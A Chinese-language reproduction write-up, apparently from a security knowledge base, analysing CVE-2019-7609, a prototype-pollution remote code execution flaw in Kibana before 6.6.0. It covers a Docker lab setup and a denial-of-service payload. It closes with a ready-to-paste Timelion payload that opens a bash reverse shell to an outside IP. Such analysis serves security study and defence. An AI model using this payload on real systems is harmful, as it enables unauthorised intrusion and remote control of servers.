menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2019-7609)Kibana 6.6.0 未授权远程代码命令执行 chevron_right (CVE-2019-7609)Kibana 6.6.0 未授权远程代码命令执行.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2019-7609)Kibana 6.6.0 未授权远程代码命令执行.md
    5.53 KB / 2021-07-15 19:55:36
        (CVE-2019-7609)kibana \< 6.6.0 未授权远程代码命令执行
    =======================================================
    
    一、漏洞简介
    ------------
    
    Kibana 是一款开源的数据分析和可视化平台,它是Elastic
    Stack成员之一,设计用于和Elasticsearch协作。
    
    二、漏洞影响
    ------------
    
    kibana \< 6.6.0
    
    三、复现过程
    ------------
    
    #### 环境搭建
    
        docker pull docker.elastic.co/kibana/kibana:6.5.4 
        docker network create elastic 
        docker run --network=elastic --name=elasticsearch docker.elastic.co/elasticsearch/elasticsearch:6.5.4
        docker run -d --name kibana --net elastic -p 5601:5601 docker.elastic.co/kibana/kibana:6.5.4 
        docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' kibana
    
    这样启动的kibana没法调试,可以自己改改镜像,在node启动命令里加个inspect参数:
    
        docker ps -a --no-trunc  # 找到启动脚本
    
        在node启动命令后加上--inspect=0.0.0.0:9229
    
        docker commit kibana kibana-debug  # 保存修改后的镜像
        docker rm -f kibana
        docker run --name kibana --net elastic -p 5601:5601 -p 9229:9229 kibana-debug  # 启动修改后的kibana容器
    
    kibana控制台:<http://127.0.0.1:5601/> inspect调试器:chrome://inspect/
    
    #### 漏洞分析
    
    原型链污染点:props()函数可以给对象设置属性
    
    ![](./resource/(CVE-2019-7609)Kibana<6.6.0未授权远程代码命令执行/media/rId27.png)
    
    有了污染点,就可以思考怎么利用了。
    
    最简单的利用,设置一个cookie就可以导致拒绝服务:
    
        .es(*).props(label.__proto__.cookie="aaa")
    
    ![](./resource/(CVE-2019-7609)Kibana<6.6.0未授权远程代码命令执行/media/rId28.png)
    
    要复原的话可以在inspect调试器里删掉原型对象的cookie属性:
    
    ![](./resource/(CVE-2019-7609)Kibana<6.6.0未授权远程代码命令执行/media/rId29.png)
    
    DOS很好实现,怎么搞成RCE呢?根据经验,容易想到一些常见情形,如:
    
        if(obj.jsCode) eval(obj.jsCode) 这种白给的
        express ejs模版引擎中的动态函数调用
    
    作者并没有找到明显的代码执行点,但是在瞎点到canvas的时候,他发现控制台暴了很多错误(这是inpector的输出,也就是说如果启docker的时候加了-d的话,可能就错过这个RCE了\...)。
    
    ![](./resource/(CVE-2019-7609)Kibana<6.6.0未授权远程代码命令执行/media/rId30.png)
    
    作者据此得出结论:kibana在创建新进程
    创建进程可就是个敏感的行为了,能不能污染命令/参数呢?
    来动态看下进程创建的过程,
    
    ![](./resource/(CVE-2019-7609)Kibana<6.6.0未授权远程代码命令执行/media/rId31.png)
    
    首先调用normalizeSpawnArguments.apply()处理参数,
    
    ![](./resource/(CVE-2019-7609)Kibana<6.6.0未授权远程代码命令执行/media/rId32.png)
    
    跟进,
    
    ![](./resource/(CVE-2019-7609)Kibana<6.6.0未授权远程代码命令执行/media/rId33.png)
    
    这里实际是在处理child\_process.spawn(command\[, args\]\[,
    options\])的第三个参数options。
    
    ![](./resource/(CVE-2019-7609)Kibana<6.6.0未授权远程代码命令执行/media/rId34.png)
    
    这里面的有些参数是undefined的,只有声明了才会处理,也即是我们可以污染的。
    作者利用的就是这个env参数,它以键值对的形式向子进程传递环境变量(我尝试了一些其它参数,没发现可利用的)。
    
    能控制进程的环境变量了,有什么用呢?我们不知道子进程会对环境变量做些什么操作啊,这是容易被忽视的一个重点。
    回想下控制台报的错:\"Starting inspector on 0.0.0.0:9229 failed: address
    already in use\"。
    这句话透露出的是:此时正在创建一个node命令进程,并且使用了\--inpect:0.0.0.0:9229参数。
    这下目标就清晰了,我们能控制的node的环境变量。
    
    在node中,有一个NODE\_OPTIONS变量,
    
    ![](./resource/(CVE-2019-7609)Kibana<6.6.0未授权远程代码命令执行/media/rId35.png)
    
    通过这个变量,可以覆盖node进程的参数。
    也就是说,现在我们能控制node进程的参数了。这就很有用了,比如\--eval参数是可以直接执行代码的。
    
    ![](./resource/(CVE-2019-7609)Kibana<6.6.0未授权远程代码命令执行/media/rId36.png)
    
    但是,NODE\_OPTIONS似乎考虑到了这种潜在的安全问题,它只能使用部分参数,向\--eval这种是用不了的。
    
    不过作者找到了另一个参数\--require,
    
    ![](./resource/(CVE-2019-7609)Kibana<6.6.0未授权远程代码命令执行/media/rId37.png)
    
    这个有点像php里的auto\_prepend\_file,预加载一个文件。
    
    ![](./resource/(CVE-2019-7609)Kibana<6.6.0未授权远程代码命令执行/media/rId38.png)
    
    现在我们可以看成有一个文件包含的洞了,怎么RCE呢?
    通常,我们都会上传一个文件再包含,或者去包含web服务器日志/SSH日志。
    作者这里利用的方法也十分巧妙,Linux下一切皆文件,我们已经能控制子进程的环境变量,也就是能控制/proc/self/environ这个文件,直接包含这个文件不就好了。
    
    ![](./resource/(CVE-2019-7609)Kibana<6.6.0未授权远程代码命令执行/media/rId39.png)
    
    最后payload如下:
    
    > 将POC里的反链IP地址换成自己的,然后在目标机器上的 `Timelion`
    > 选项下将以下 `POC` 粘贴进去,然后点击 `Run` 运行:
    
        .es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \'bash -i>& /dev/tcp/10.70.53.113/6666 0>&1\'");//')
        .props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
    
    然后自己机器开启监听,再点击 Canvas
    
    
    links
    file_download